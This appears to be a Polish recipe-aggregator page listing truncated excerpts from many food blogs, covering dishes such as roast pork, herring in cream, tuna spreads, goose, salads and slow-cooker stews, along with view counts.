Klops można podawać na ciepło z sosem lub na zimno do kanapki. Przepis znalazłam w gazetce Przyślij przepis. Mięso na obiad nr  54 (11/2013). Polecam! Składniki: 1 kg mielonego mięsa (łopatka/karkówka) 3 jajka 2 cebule 3 czerstwe kajzerki woda lub mleko do namoczenia bułek 1/2 czerwonej papryki 1-2 ogórki konserwowe sól, pieprz suszony lub świeży koperek

Kuchnia domowa Ani
Schab pieczony z ziołami 207

Schab pieczony w ten sposób był próbą przed Świętami - i to bardzo udaną próbą :) Polecam serdecznie! Składniki: 1 kg schabu bez kości Marynata: 2 łyżki sosu sojowego 2 liście laurowe 2-3 łyżki oleju 1 gałązka rozmarynu świeży tymianek 1 łyżka ziaren gorczycy świeżo zmielony pieprz 1/2 łyżeczki kminku 3 zmiażdżone ząbki czosnku Sposób wykonania: 1. Składniki marynaty dokładnie mieszamy

Kuchnia domowa Ani
Śledzie z jabłkiem w śmietanie 198

cytryny. 3. Cebulę drobno posiekać, sparzyć wrzątkiem i ostudzić. 4. Jabłka, cebulę, 1 łyżkę majonezu i śmietanę (ilość wedle uznania) wymieszać. Doprawić do smaku pieprzem i odrobiną cukru. 5. Sosem przykryć filety śledziowe, schłodzić w lodówce przed podaniem. Smacznego!!! Źródło: Kuchnia - przepisy Adriany

Kuchnia domowa Ani
Mix sałat z tuńczykiem i fetą 419

stanąć przy kuchni i gotować, dlatego zapraszam Was na szybką pyszną sałatkę. Składniki: 1 opakowanie mieszanki sałat 1 garść zielonych oliwek 1 puszka tuńczyka w kawałkach (w wodzie lub sosie własnym) 150-200 g sera typu feta 2 pomidory 1 owoc granatu 2 łyżki oleju przyprawa do sałatek Sposób przygotowania: 1. Ser i pomidory pokroić w kostkę, tuńczyka odsączyć

Kuchnia domowa Ani
Pasta z tuńczyka i fety 257

Lubię od czasu do czasu urozmaicić sobie kanapkę ciekawą pastą. Składniki: 1 puszka tuńczyka w sosie własnym 120-150 g sera typu feta 1/2 małej cebulki pieprz ewentualnie siekana zielenina Sposób wykonania: 1. Tuńczyka odsączyć z zalewy. 2. Cebulkę drobno posiekać. 3. Fetę rozgnieść widelcem, wymieszać z tuńczykiem i cebulką, doprawić do smaku pieprzem. Można dodać drobno posiekaną natkę pietruszki

Kuchnia domowa Ani
Pucharek lodowy z owocami 193

Owoce myjemy, brzoskwinie dodatkowo obieramy ze skórki. 2. Na dno pucharka wkładamy pokrojone w kostkę morele. Dajemy lody, dodajemy cząstki brzoskwiń i borówkami. 3. Deser możemy polać ulubionym sosem lub oprószyć tatrą czekoladą. Smacznego

Kuchnia domowa Ani
Makaron z jabłkami 192

trochę cukru, goździk, cynamon i odrobinę wody. Chwilkę gotować, ale nie za długo, aby jabłka się nie rozpadły. 2. Mąkę wymieszać z zimną wodą, wlać do jabłek, gotować, aż sos się zagęści. 3. Jabłka podajemy z ugotowanym makaronem na ciepło. Smacznego

Kuchnia domowa Ani
Mrożona papryka na zimę 256

kiedy jest dość tania. Mrożę wszystkie kolory papryki, mieszam je razem lub wkładam do osobnych worków, kroję na mniejszą lub większą kostkę. Świetnie się nadaje papryka do wszelkich gulaszy, sosów, sałatek itp. Należy pamiętać, że przed krojeniem trzeba paprykę dobrze umyć i usunąć gniazda nasienne.Dobrze jest też wysuszyć paprykę papierowym ręcznikiem. Mrożone warzywa nie tracą zbyt dużo na wartości więc

Kuchnia domowa Ani
Przepisy na surówki 463

jabłkiem Colesław Ćwikła z chrzanem Duszona czerwona kapusta Duszona marchewka Mizeria Sałata ze śmietaną Sałata ze śmietaną i jajkiem Sałata z dressingiem jogutrowo-koperkowym Sałata z jajkiem i sosem jogurtowo-koperkowym Sałata z marynowaną fasolką Sałata z ogórkiem Surówka wielowarzywna weselna Surówka wielowarzywna z kapustą pekińską Surówka z buraczka ze słonecznikiem Surówka z czerwonej kapusty I Surówka z czerwonej kapusty

Kuchnia domowa Ani
Pasta jajeczna z tuńczykiem 214

Składniki: 4 ugotowane na twardo jajka 1 tuńczyk w puszce (najlepiej w sosie własnym) pół cebulki majonez +jogurt naturalny + musztarda (po 1 łyżeczce) sól, pieprz Sposób wykonania: 1. Tuńczyka odsączyć z zalewy. 2. Cebulkę drobno posiekać. 3. Jajka drobno posiekać lub zetrzeć na tarce jarzynowej. 4. Wszystko wymieszać, dodać po łyżeczce majonezu, jogurtu i musztardy. Doprawić do smaku. Smacznego

Kuchnia domowa Ani
Wigilijne śledzie last minute ze śmietaną, majonezem i jabłkiem 283

dodać cukier i wyłożyć na śledzie.Posypać zieleniną i podawać z ziemniakami w mundurkach lub bagietką druga możliwość - osuszone filety śledziowe pokroić w 3 cm kawałki i wymieszać z sosem jogurtowo majonezowym.Posypać zieleniną                                  ŻYCZĘ SMACZNEGO

Gotuj zdrowo!Guten Appetit!
Ryba wpływa na wszystko. Śledź z suszoną śliwką i żurawiną. 251

odpowiadające nam kawałki. W garnku gotujemy pokrojoną w piórka cebulę z cukrem, solą, pieprzem i listkiem laurowym. Cebula ma zmięknąć. W słoiku układamy cebulę, śledzie i suszone owoce. Zalewamy sosem – olej, sok z cytryny, sól i pieprz. Zamykamy szczelnie i zostawiamy. Prosto i pysznie. Smacznego

ladykitchen
Wigilia lubelskich blogerów kulinarnych - relacja 203

uginał się od pyszności: były dwa rodzaje śledzi - w śmietanie i z chili, sałatka jarzynowa, kanapki z pastą z grochu i wędzonym pstrągiem, krem piernikowy , pierożki z makiem z sosem karmelowym , paszteciki z farszem jak do piroga biłgorajskiego, tartaletki z kapustą i żurawiną, rolada czekoladowo-pomarańczowa i kilka innych pyszności. Na koniec nastąpiła bardzo przyjemna część. Uznałyśmy, że skoro wigilia

Pasja Smaku
ROSÓŁ Z PERLICZKI LUB PRZEPIÓREK Z DOMOWYM MAKARONEM 314

wystarczy mała bulionówka i zaraz wszyscy mają lepszy humor. Odkąd nie używam gotowych bulionów, jarzynek itp. nadmiar rosołu przelewam do słoi różnej wielkości i zamrażam. W razie potrzeby, do sosu czy zupy (gdy akurat rosołu w domu nie ma) taki bulion jest jak znalazł. Wystarczy wyjąć go wcześniej z zamrażarki lub rozmrozić w mikrofali. Niezależnie od tego czy jest

Smaczne Zdrowe
Pieczona ricotta z pieczonymi pomidorami 377

pieprzem oregano i 15 minut przed końcem pieczenia ricotty wstawić je do piekarnika i piec razem. Ricottę kroimy w kwadraty, podajemy z pieczonymi pomidorami i oliwkami, polewamy oliwką i sosem z foremki.   Białka czynią z tej potrawy smaczne ,lekkie danie obiadowe. Ricottę może zastąpić góralski bundz

Kulinarny karnet Christophera
Warzywna zapiekanka 281

tłuszczu, połączyć z mięsem mielonym i podsmażyć. Do podsmażonego mięsa dodać mrożone warzywa, dusić pod przykryciem do miękkości. Gdy warzywa będą już miękkie zalać śmietaną i zredukować do gęstego sosu. Doprawić do smaku solą i pieprzem. Wszystko przełożyć do naczynia żaroodpornego, posypać serem i podpiec w 180 o C około 10-15 minut

Garnkowe fanaberie
Sałatka z Tuńczykiem podana w Cytrynach i Krem z Karczochów z Pomidorami 284

niedługo Sylwester ;) Sałatka pyszna, minimalizm składników nadaje jej lekkości, a w połączeniu z kremem z karczochów po prostu bajka! Składniki: 4 cytryny 3 jajka 2 puszki tuńczyka w sosie własnym Graal 1 ogórek 5 łyżek majonezu 1/2 pęczka koperku 2 gałązki natki pietruszki świeżo zmielona sól morska świeżo zmielony pieprz cukier 1 pomidor krem z karczochów Mantini Wykonanie: Jajka ugotowałam

Blondynka Gotuje
Jajka zapiekane w bułce 161

szczypiorkiem. Składamy bułkę w całość, owijamy w sreberko i wkładamy do piekarnika nagrzanego do 180* na około 30-40 minut (aż zetnie się białko). Podajemy samą lub z dowolnym sosem

Kuchenny Skrawek Nieba
Sylwester. Przepisy na Sylwestra. Przekąski na Sylwestra. 18402

Sałatka z selerem konserwowym, szynką i ananasem Sałatka z rukolą, kurczakiem, pomidorami i oliwkami Sałatka z papryką, brokułami i żółtym serem Sałatka z nuggetsami, rukolą, serem i pomidorkami z sosem musztardowym Oryginalna sałatka grecka (chłopska) z fetą CIASTA, CIASTKA, BABECZKI, MUFFINY, SŁODKOŚCI: Ciasto bez pieczenia z masą krówkową i prażonym słonecznikiem Ciasto 3 bit Pianka wiśniowo-cytrynowa Pani Walewska

Kulinarne Przeboje
Śledzie w oleju z cebulką 13182

jedynie jedzą je w formie paluszków rybnych i to najlepiej w formie zabawnych kształtów ;-) Ja jednak już jako małe dziecko uwielbiałam wszelkie szprotki i śledzie , zwłaszcza w pomidorowym sosie ;) Już nie wspomnąć o moich ulubionych pastach z rybkami, takich jak pasta jajeczna z tuńczykiem , czy pasta jajczna z makrelą . Jako nastolatka byłam zakochana w śledziach firmy Seko , które mama kupowała

Kulinarne Przeboje
Krewetki z makaronem paccheri - paccheri con i gamberoni 227

wina i odparowac alkohol. Dodać 400 g przecieru pomidorowego, sól do smaku i gotować przez 15 minut. Ugotować makaron według przepisu na opakowaniu, odcedzić i od razu połączyć z sosem pomidorowym. Podawać na gorąco posypujac świeżo pokrojoną natką pietruszki. SMACZNEGO

zielonacukinka
Grillowane filety z okonia z cytrusową glazurą 158

minuty. W międzyczasie pozostałą marynatę podgotować na wolnym ogniu z dodatkiem łyżki masła, aż uzyskamy konsystencję gęstego syropu. Filety podawać na gorąco bezpośrednio z grilla z łyżką cytrusowego sosu. Grillowane filety z okonia z cytrusową glazurą is a post from: naRuszcie.pl The post Grillowane filety z okonia z cytrusową glazurą appeared first on naRuszcie.pl

naRuszcie
Słodkie pierożki z batatami i migdałami, Truchas de batata 249

Gran Canarii opowiedziała mi o truchas - słodkich, smażonych pierożkach ( empanadillas ) z nadzieniem z migdałów i słodkich ziemniaków.  Bataty bardzo lubię, szczególnie w formie pieczonej z dodatkiem ostrego sosu, ale wykorzystanie ich w deserze zaintrygowało mnie i uznałam, że słodkie pierożki koniecznie muszą zagościć w moim tegorocznym bożonarodzeniowym menu.  Po przejrzeniu kilku przepisów w języku hiszpańskim stwierdziłam, że bazą

Chilli Czosnek i Oliwa
Swiateczna szynka 217

osuszamy. Szpikujemy gozdzikami i pokruszonym cynamonem. Wkładamy do brytfanki i polewamy marynata. Pieczemy pod przykryciem około  1,5 godz. w temperaturze 180 stopni.W czasie pieczenia polewamy szynkę wytworzonym sosem

Anioły w kuchni
Święta, święta, święta 227

objadamy się do nieprzytomności chociaż ilość dań może na to wskazywać, każde danie jest w ilości na dwie-trzy osoby (oprócz pierogów, pieczeni) co zostaje mrożę, czy robię sos, gotuję np, ryż i jemy obiad. Ah się rozpisałam oby i Wam przygotowanie Świąt sprawiało taką frajdę jak i mi, już chętnie bym wszystko przygotowała, ale jeszcze dzień, dwa i działam

NA MOIM TALERZU
Karp w czerwonym winie 163

pieprz. Całość smażymy 5 minut mieszając co chwilę. Na samym środku patelni robimy miejsce i układamy karpie. Smażymy z obu stron po kilka minut. Podajemy na ciepło, polane sosem. Smacznego

Kolizje Smaków
gołąbki z kaszą gryczaną 190

liśćmi i pokrywką , wstawić do piekarnika nagrzanego do 180 stopni , na ok 2 godziny. W trakcie pieczenia można dolać nieco bulionu ale nie jest to niezbędne.  Podawać z sosem z pieczenia i polane masłem

Stare Gary
Zupa gulasz 222

marchewki i pietruszki oraz kminek. Dusić na niewielkim ogniu, w razie potrzeby podlewając nieco wodą (wody nie może być zbyt dużo, mięso winno się dusić w tak zwanym krótkim sosie). Kiedy mięso zmięknie, wrzucić ziemniaki pokrojone w kostkę i dolać tyle wody, by całość miała konsystencję gęstej zupy. Gotować, aż ziemniaki będą miękkie. Przyprawić solą i pieprzem,posypać natką , podawać

Stare Gary
Perliczka w occie - Faraona al Aceto 202

Przepis podany przez Mario Batali na   tej  stronie. Perliczka wyszła naprawdę dobra a sos jest moim zdaniem pyszny. składniki: 2 perliczki, podzielone na 4 części 6 łyżek oliwy z oliwek 1 szklanka białego wina 1 szklanka octu balsamicznego 2 łyżki kaparów 3/4 szklanki oliwek bez pestek 4- 5 plastrów prosciutto, pokrojonej w paski 3 fileciki anchovies 2 łyżki

Stare Gary
Orientalne mięsne kuleczki w bulionie z kurczaka 242

mięsa wieprzowego 100 g świeżego szpinaku, bardzo drobno posiekanego 4 szczypiorki z dymek drobno pokrojone 4 ząbki czosnku, przeciśnięte przez praskę łyżeczka przyprawy 5 smaków 2  - 3 łyżeczki sosu sojowego  przygotowanie W dużej misce umieścić mięso i pozostałe składniki kuleczek - dobrze wymieszać. Z wyrobionej masy formować małe pulpeciki, wielkości orzecha włoskiego. Wyszło mi 31 kuleczek Zagotować bulion, dodać

Stare Gary
Pieczona fasola 207

chwilę podsmażać , dodać pokrojone pomidory, pietruszkę , sól i pieprz. Wymieszać ,zagotować i podgrzewać jeszcze przez ok 5 minut.  Naczynie do zapiekania posmarować masłem, przełożyć do niego fasolę , zalać sosem i wstawić do piekarnika nagrzanego do 200 st C na ok 30 minut. Podawać gorące

Stare Gary
Sałatka z pieczonych buraczków 280

najlepiej w rękawiczkach) i pokroić na mniejsze kawałki. Wymieszać ocet z oliwą, solą, pieprzem, czosnkiem,syropem klonowym. Do miski nałożyć listki szpinaku, pokrojone buraczki, posypać ziarnami słonecznika, pietruszką , polać sosem , wymieszać. W razie potrzeby dosolić

Stare Gary
Pieczeń rzymska 258

temp 200 st C. Mniej więcej w połowie czasu  pieczenia mięso przykryć folią aluminiową.  Po upieczeniu, mięso wyjąć z foremki, pokroić na plastry i podawać z sosem np. pieczarkowym   i ziemniakami. Bardzo smaczne są plastry pieczeni podsmażone na patelni. Smacznego

Stare Gary
Tatar 137

oliwy + oliwa do doprawienia  3 żółtka najlepiej z wiejskich jaj 2 cebule  kilka korniszonów 1 łyżka kaparów 4 marynowane grzybki (opcjonalnie) przyprawy: majeranek pieprz sól maggi  sos  Worcestershire (opcjonalnie) przygotowanie Mięso umyć , osuszyć , usunąć błony i ścięgna jeżeli takie są , przepuścić 2 razy przez maszynkę . Mięso wymieszać z oliwą , solą i maggi - nie za dużo, później

Stare Gary
Curry ze świeżym szpinakiem i cieciorką 191

zimnej wody i ciecierzycę. Zagotować , a następnie zmniejszyć temperaturę  i  gotować , mieszając od czasu do czasu przez 10 minut. To dobry moment by dodać curry jeżeli sos wyda nam się zbyt delikatny. Dodać szpinak, wymieszać i gotować tylko do momentu aż szpinak zmięknie. posypać świeżą kolendrą i podawać. Najlepszym dodatkiem byłyby indyjskie chlebki naan lub roti ale białe

Stare Gary
Rolada z perliczki 251

czasie folię odwinąć, temperaturę zwiększyć do 180 st,C i piec jeszcze przynajmniej 15 min, do czasu, aż się perliczka lekko zarumieni. Kroić w plastry, polewać wytworzonym sosem i podawać np z ziemniakami. Smacznego

Stare Gary
Kluski kładzione, szybkie 174

Kiedy nie mamy czasu na gotowanie ziemniaków czy kasz ten przepis bardzo się sprawdza. Bardzo dobre do wszelkich sosów, ale i na słodko z masłem, cukrem i cynamonem całkiem dobre danie składniki (2 porcje) ok 110 g mąki 2 jajka 2 - 3 łyżki śmietany szczypta soli opcjonalnie pieprz przygotowanie Do dużego kubeczka wbić jajka, rozmieszać, dodać mąkę i śmietanę, mieszać

Stare Gary
Kurczak z czosnkiem i kuskusem 410

ustawione na wyższą temperaturę , aż kurczak będzie miękki, około 3 1/2 godziny (lub 7 godzin na niższej  temperaturze). Ugotować kuskus zgodnie z instrukcją na opakowaniu. Podawać kurczaka i sos z kaszką  kuskus, posypane natką pietruszki. Smaczngo! W Piekarniku Kurczaka podzielić, doprawić i obsmażyć na brązowo w naczyniu z grubym dnem, jak w przepisie powyżej. Następnie dodać pozostałe składniki

Stare Gary
Sałata rzymska z dodatkami 197

Przepis na sałatę rzymską ze strony  Kuchni +  . Sałata rzymska ma podłużne i chrupiące liście. Lubię w niej to, że nawet po wymieszaniu z sosem , długo utrzymuje swoją chrupkość . Szczególnie lubię małe odmiany, które moim zdaniem są delikatniejsze od dużej. Składniki główka sałaty rzymskiej lub 2 małe sałaty rzymskie 1 czerwona cebula 1 świeży pomidor 1 świeży ogórek oliwa

Stare Gary
Gęsie piersi pieczone na jabłkach 265

pokrywką i piec około 1 godz. Po tym czasie zmniejszyć temperaturę do 170 stopni i piec jeszcze około 1,5- 2  godz. W trakcie pieczenia  podlewać mięso sosem z pieczenia. Na pół godziny  przed końcem pieczenia nastawić  funkcję grill, a brytfankę odkryć.Tak upieczoną  gęś możemy podać z podpieczonymi ziemniakami. Smacznego

Stare Gary
Tatarskie gołąbki z baraniną czyli Dolma 253

niewątpliwie znacznie bardziej wyraziste, a tak były trochę za delikatne. Do farszu dodałam też czosnek i miętę. Pierwszego dnia jedliśmy gołąbki bez śmietany, drugiego zrobiłam ostry sos pomidorowo -  paprykowy , na nim ułożyłam upieczone gołąbki , polałam śmietaną i dopiero zapiekłam

Stare Gary
Schab 10 minutowy - domowa wędlina 314

powinno stać przynajmniej 6 godzin. Po tym czasie wyjąć z zalewy, osuszyć  ręcznikiem papierowym.  Podawać cieniutko pokrojone jako wędlinę, można też pokroić grubsze plastry i podać z sosem na obiad. Smacznego

Stare Gary
Jagnięcina zapiekana z warzywami czyli prawie mussaka w wolnowarze 227

danie to taka oszukana i uproszczona  wersja greckiej mussaki. Z mussaką ma właściwie wspólne tylko składniki ( i to bez sosu beszamelowego), natomiast sposób wykonania zupełnie inny. Na dodatek danie okazało się wyjątkowo mało fotogeniczne. Ale przepis zamieszczam, gdyż myślę, iż smak warzyw i jagnięciny uduszonych w wolnowarze i wygoda przygotowania, w zupełności rekompensuje  brak urody

Stare Gary
Wołowina z pastą fasolową i pak choi 229

imbiru 1 -2 małe zielone lub czerwone chili 2 łyżki pasty z czarnej fasoli 3 kapusty pak choi marynata 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki cukru 1 łyżka sosu sojowego jasnego 2 łyżeczki wina ryżowego lub wytrawnego sherry 2 łyżeczki pasty kukurydzianej * 2 łyżeczki oleju sezamowego * pasta kukurydziana -  połączyć 1 część mąki kukurydzianej z 1 1/2 części zimnej

Stare Gary
Faszerowana dynia 278

bardzo efektowne. Następnym razem zrezygnuję jednak z sera pleśniowego i zastąpię go np serem kozim, gdyż ser pleśniowy na ciepło jest dla mnie zbyt mocny. Jeżeli natomiast lubicie np. sosy na bazie pleśniowego sera - taki farsz na pewno będzie Wam smakował. A dynia piżmowa jest pyszna ! składniki 1 piżmowa dynia  2 ząbki czosnku , drobno posiekane 2 łyżki masła

Stare Gary
Kotleciki z kurczaka czyli pasteis de frango 420

rumiane. Wyjąć łyżką cedzakową  i umieścić na papierze kuchennym. W ten sposób usmażyć wszystkie klopsiki. Podawać z białym ryżem i sałatką z pomidorów, lub jako przystawkę z np. sosem jogurtowym. Smacznego

Stare Gary
Burger wołowy III 200

bułki posmarować musztardą, położyć liść sałaty, plasterek boczku, kotlet wołowy, boczek,  plaster pomidora, ogórek i cebulę. Przykryć wierzchem bułki. Można spiąć drewnianym patyczkiem do szaszłyków, podawać z dowolnym sosem majonezowym, jogurtowym lub  keczupem . Smacznego

Stare Gary
Warzywa długo duszone czyli prawie Briami - w wolnowarze 216

Briami  jest  zazwyczaj podawane w temperaturze pokojowej , ale można również podać ciepłe,  prosto z wolnowaru . Jeżeli nie zjemy całości, można na drugi dzień wykorzystać resztki jako sos do makaronu. Mimo kilku uwag - polecam! oryginalny przepis tutaj       składniki 3 duże ziemniaki obrane lub nie, pokrojone w cienkie plasterki  2 średnie czerwone cebule - pokrojone

Stare Gary
Wołowe szaszłyki ze skrawków stekowych 155

wymagają nadzoru, a  nie jest on łatwy gdy jest wieczór. Polecam! Przepis znalazłam na stronie  Simply Recipes składniki marynata 1/3 szklanki oliwy z oliwek 1/3 szklanki sosu sojowego 1/4 szklanki miodu 2 ząbki czosnku, zmiażdżone 1 łyżka octu z czerwonego wina 2 - 3 cm kawałek imbiru, w plasterkach 1/2 łyżeczki płatków czerwonej papryki chili 1/2 łyżeczki świeżo zmielonego

Stare Gary
Wieprzowe kotlety z pieczarkami 216

godzinę. Co jakiś czas sprawdzać czy mięso jest już miękkie, moze sie piec nieco krócej lub dłużej w zależności od jakości kupionego przez nas schabu. Na koniec dodajemy pietruszkę. Sos można doprawić śmietaną, ale ja lubię taki czysty. Smacznego

Stare Gary
Gulasz wołowy z cebulą i czosnkiem 226

się idealny do wolnowaru i miałam rację. Wołowina jest miękka, a dzięki długiemu, powolnemu, duszeniu, niezwykle aromatyczna. Zamiast wody dałam czerwone wino. Sprawdziło się idealnie. Powstał bardzo smaczny sos. Polecam przepis, zwłaszcza, że właśnie teraz, jest czas kiedy możemy kupić małe, młode cebulki. Przepis z książeczki dla turystów "Turkish Cookery" składniki 1 kg wołowiny (u mnie łopatka) 4 łyżki masła

Stare Gary
Jagniece mielone kotleciki czyli Köfte z grilla 244

mielone kotleciki -  kofte. Kłaść na rozgrzany grill, najlepiej nie bezpośrednio nad żarem, tylko nieco z boku. Podawać np z tureckim chlebkiem  - lavash, grillowanymi warzywami i dowolnym, ulubionym sosem. Smacznego

Stare Gary
Jarmuż z ciecierzycą 165

olejem. Smażyć, aż lekko zmiękną, około 1 minuty. Dodać ciecierzycę razem z zalewą. Gotować na wolnym ogniu, mieszając od czasu do czasu, aż kapusta będzie całkiem miękka a sos nieco się zredukuje, około 30 minut. Doprawić do smaku solą i pieprzem.  Podawać na ciepło z tostami lub jako dodatek do dania obiadowego. Smacznego

Stare Gary
Placki z cukinii 2 222

Bardzo letnie danie. Smaczne, delikatne placki z cukinii. Robi się je szybko, smaczne i gorące i zimne. Można podać z dowolnym jogurtowym sosem. Sprawdzą się jako przystawka czy zakąska, ale też mogą być całkiem dobrym głównym daniem w letnie dni. Warto wtedy podać je z sałatą. Polecam. Inspiracją były placuszki, które zobaczyłam na blogu Damn Delicious    składniki

Stare Gary
kotlety mielone z ziołami i parmezanem 242

zamiennie bułka tarta (pół na pół)  sól  pieprz pęczek posiekanej pietruszki i pęczek koperku  parę ząbków czosnku (posiekanego lub startego) lub czosnek granulowany 2 łyżki sosu sojowego masło i olej do smażenia bułka tarta do obtoczenia + tarty parmezan przygotowanie Bułkę namoczyć w wodzie lub mleku, po ok 10 minutach odcisnąć.  Cebulę pokroić w drobną kostkę

Stare Gary
Małe pieczone bakłażany 202

przykryć folią aluminiową. Piec ok 1 godziny, miąższ po tym czasie powinien być miękki, aromatyczny a ser ładnie rumiany. Wyjąć z piekarnika i ostudzić. Podawać jako przystawkę, np z sosem jogurtowym

Stare Gary
Gęś pieczona z jabłkami 260

pieczenia gęś podlewać co jakiś czas albo wytopionym tłuszczem albo wodą. Podawać np pęczakiem, kapustą kiszoną i żurawiną i z tym co zostało na dnie gęsiarki czyli tłuszczem z sosem i jabłkami. Smacznego! Uwagi: Upieczone kości i wszelkie skrawki zostawić, ugotujemy na nich rosół

Stare Gary
Zapiekanka z pstrąga wędzonego i ziemniaków 212

warstwę ziemniaków  (1/2 porcji), układając lekko solić i posypywać pieprzem. Na ziemniakach ułożyć cebulę, na niej warstwę z pstrąga. Przykryć warstwą pozostałych ziemniaków. Zalać sosem ze śmietany i wstawić do piekarnika nagrzanego do 200 st na ok 1 godzinę. W połowie pieczenia posypać cheddarem. Sprawdzić przed wyjęciem z piekarnika, czy ziemniaki są miękkie. Smacznego

Stare Gary
Burgery serowe z botwinką 246

Zblanszowaną botwinkę ostudzić, pokroić i dodać do masy. Na rozgrzanej patelni układać burgery i smażyć z dwóch stron do zarumienienia. Podać z ulubioną surówką. Świetnie pasuje do burgerów również sos jogurtowo-koperkowy lub czosnkowy  z tego przepsiu . Smacznego

Kraina Miodem Płynąca
Ryżowa sałatka koktajlowa 259

Jedna z moich ulubionych sałatek, której nigdy nie mam dość, sycąca, a jednocześnie lekka- bo bez zbędnych kalorii typu sos np. majonezowy. Można zaszaleć ze składnikami i dodać coś od siebie, mogą to być np. oliwki, ser, mięso…  Ja, mimo wielokrotnych prób, jednak zawsze wracam do wersji 'podstawowej'- taka smakuje mi najbardziej i Wam też taką polecam :) Wypróbujcie, jest

Kraina Miodem Płynąca
Burgery z łososia i ogórka kiszonego 189

zdziałać cuda! ;))) Ja uwielbiam te burgery, smak łososia wyczuwalny jest bardzo delikatnie, ogórek wcale nie dominuje nad całością, ale nadaje bardzo ciekawy smaczek, a jeżeli zaserwujecie do nich jeszcze sos np.   BBQ , to już bajka! ;) Z czystym sumieniem mogę polecić te burgery, smakować Wam będą na pewno! :) * łosoś- 140 g * ogórek kiszony- 1 średniej wielkości * jajko- 1 szt. * koper

Kraina Miodem Płynąca
Bakłażan w serowej panierce 205

które jak najbardziej można zamienić na bułkę tartą- taką wersję robię dla mojego P.). Racuszki są chrupiące z zewnątrz, miękkie w środku, o zaskakującym smaku, a podane z ulubionym sosem  i bukietem surówek tworzą zdrowe oraz wartościowe danie, które na pewno Wam posmakuje. Bardzo polecam! :) * bakłażan- 1 szt. * parmezan- 30 g * płatki owsiane- 30 g (lub bułka tarta) * jajko

Kraina Miodem Płynąca
Imprezowa sałatka ziemniaczana 390

NIEzwyczajna sałatka ziemniaczana z zielonym groszkiem, ogórkiem kiszonym i serem kozim w jogurtowo-majonezowym sosie, z dobrym smakiem i charakterem :) Zaserwowana w cykoriowych łódeczkach, przez co sprawdzi się na różnego typu imprezach, gdyż jest wygodna do trzymania, idealna na dwa małe kęsy, no i wygląda apetyczniej niż 'wymemłana' sałatka podana w misie (głównie dotyczy to sałatek majonezowych)! Jeżeli więc zostały

Kraina Miodem Płynąca
Dietetyczny deser na świąteczny stół! 213

kokilki. Żelatynę rozpuść we wrzątku, serki i jogurt wymieszaj energicznie z żelatyną, dodaj maliny i delikatnie wymieszaj. Wylej do kokilek. Wstaw na minimum 4-5 godzin do lodówki. Sos malinowy do deseru: - 150 g malin - 3 słodziki (rozpuść w jak najmniejszej ilości płynu) - 1/2 łyżeczki soku z cytryny - łyżeczka soku z dzikiej róży Wszystko miksujemy, lub ugniatamy widelcem. SMACZNEGO! PIĘKNEGO

SMYKWKUCHNI
Szybkie roladki z serem 218

Pyszna i szybka przekąska na ciepło Można przygotować wcześniej, a przy gościach tylko usmażyć lub wrzucić na grill/patelnię grillową i gotowe! Podawać z sosem czosnkowym lub majonezowo-keczupowym. SKŁADNIKI: 12 kromek chleba tostowego (u mnie wieloziarnisty) 12 plastrów sera żółtego ew. 1-2 łyżki masła   1. Z kromek chleba tostowego usunąć skórki a pozostały miąższ lekko rozwałkować

Kto ugości moich gości?
Szybkie roladki z serem i szynką 343

Pyszna i szybka przekąska na ciepło - wersja exclusive Roladek z serem   Można przygotować wcześniej, a przy gościach tylko usmażyć i gotowe! Podawać z sosem czosnkowym lub majonezowo-keczupowym. SKŁADNIKI: 12 kromek chleba tostowego (u mnie wieloziarnisty) 12 plastrów sera żółtego 12 plastrów szynki ew. 1-2 łyżki masła do smażenia Panierka: mąka jajko bułka tarta 1. Z kromek chleba

Kto ugości moich gości?
Zapiekanka z kurczaka ,,Bij i Wiej" według Jamiego Olivera 467

polewając je sokami z brytfanki, aż kurczak ze złoci się z wierzchu i upiecze w środku. Podawaj danie z pyszną zieloną sałatą i bagietką z chrupiącą skórką do wycierania sosu :) SMACZNEGO

Kredowe Menu
826. Bananowa kasza manna & Naleśniki. 305

mimo to dzień jak najbardziej udany i miło spędzony. A na naleśniki na pewno jeszcze tam wpadnę, bo pyszne były. ;) Naleśnik Primavera (z mozzarellą, suszonymi pomidorami i szynką, sos koperkowo-jogurtowy) A teraz czekam na D i zabieramy się za pieczenie ciasteczek na moją jutrzejszą wigilię

More food, love and dreams
T... Tartine i L'Epicerie! Spacer po Lyon. 200

zgodnie zamówiliśmy piwo oraz zestaw: 1 duża kanapka z purée ziemniaczanym z boczkiem, zapiekana pod serem Raclette ( więcej o raclette tutaj) . Do każdego dania otrzymaliśmy również zieloną sałatkę z sosem vinaigre oraz kilka plastrów salami. Cała przyjemność kosztowała 10euro. A że znam się trochę na cenach w Lyon powiem Wam, że to wcale nie jest źle! Po takim lunchu wszyscy

Kitchens Alphabet
Współpraca - Nasza Chata - leśne specjały z Borów Tucholskich 225

obejmuje skup i przetwórstwo, dzięki czemu - w trosce o jakość - mogą czuwać nad każdym etapem produkcji.  W ofercie Nasza Chata ma: grzyby suszone, grzyby marynowane, dania gotowe i sosy, owoce leśne w formie przetworów, mrożonki.  Produkty są najwyższej jakości, bez konserwantów . Strona internetowa: http://www.nasza-chata.pl Sklep internetowy: http://www.grzyby-sklep.pl/ Oto produkty, które otrzymałam: 1. Koźlarze suszone 2. Podgrzybki

Szefowa kuchni
Pappardelle z anchois 170

Podczas gdy makaron zacznie się gotować, Ty na małym delikatnym ogniu podgrzewaj naszą papkę, którą opcjonalnie delikatnie dosól. Przed odcedzeniem makaronu odlej odrobinę wody, do podlania w razie potrzeby sosu. Papardelle po odcedzeniu wrzuć na patelnię i dobrze wymieszaj. I to wszystko, podawaj z parmezanem, jeżeli lubisz oczywiście. SMACZNEGO > CMOK

Pasje Jolki
Solona jarzynka do potraw 224

Zakręcone słoiki trzymać w lodówce. Jak wykorzystać taką jarzynkę? jest idealna do doprawiania zup, którym "czegoś brakuje"; kiedy wykorzystujemy mięso z rosołu do przygotowania np. sosu, dobrze jest dodać łyżkę takiej jarzynki; jeśli dodamy do niej mniej soli, wtedy można ją wykorzystać zamiast świeżych  warzyw podczas gotowania zupy; bigos zyska sporo na smaku

Codzienna kuchnia niecodzienna
Krewetki w mleku kokosowym 248

minut, mieszając by nic nie przywarło do dna naczynia, następnie dodajemy krewetki i gotujemy jeszcze ok 10 - 15 minut. W tym czasie krewetki zmiękną, przyjmą smaki składników dania, a sos zgęstnieje i odparuje. Danie podajemy z ryżem lub świeżą, chrupiąca bagietką posypane kolendrą lub jeśli akurat nie macie jej w swojej kuchni, natką pietruszki. Smacznego

Taste Of My Day
Sałatka jarzynowa 353

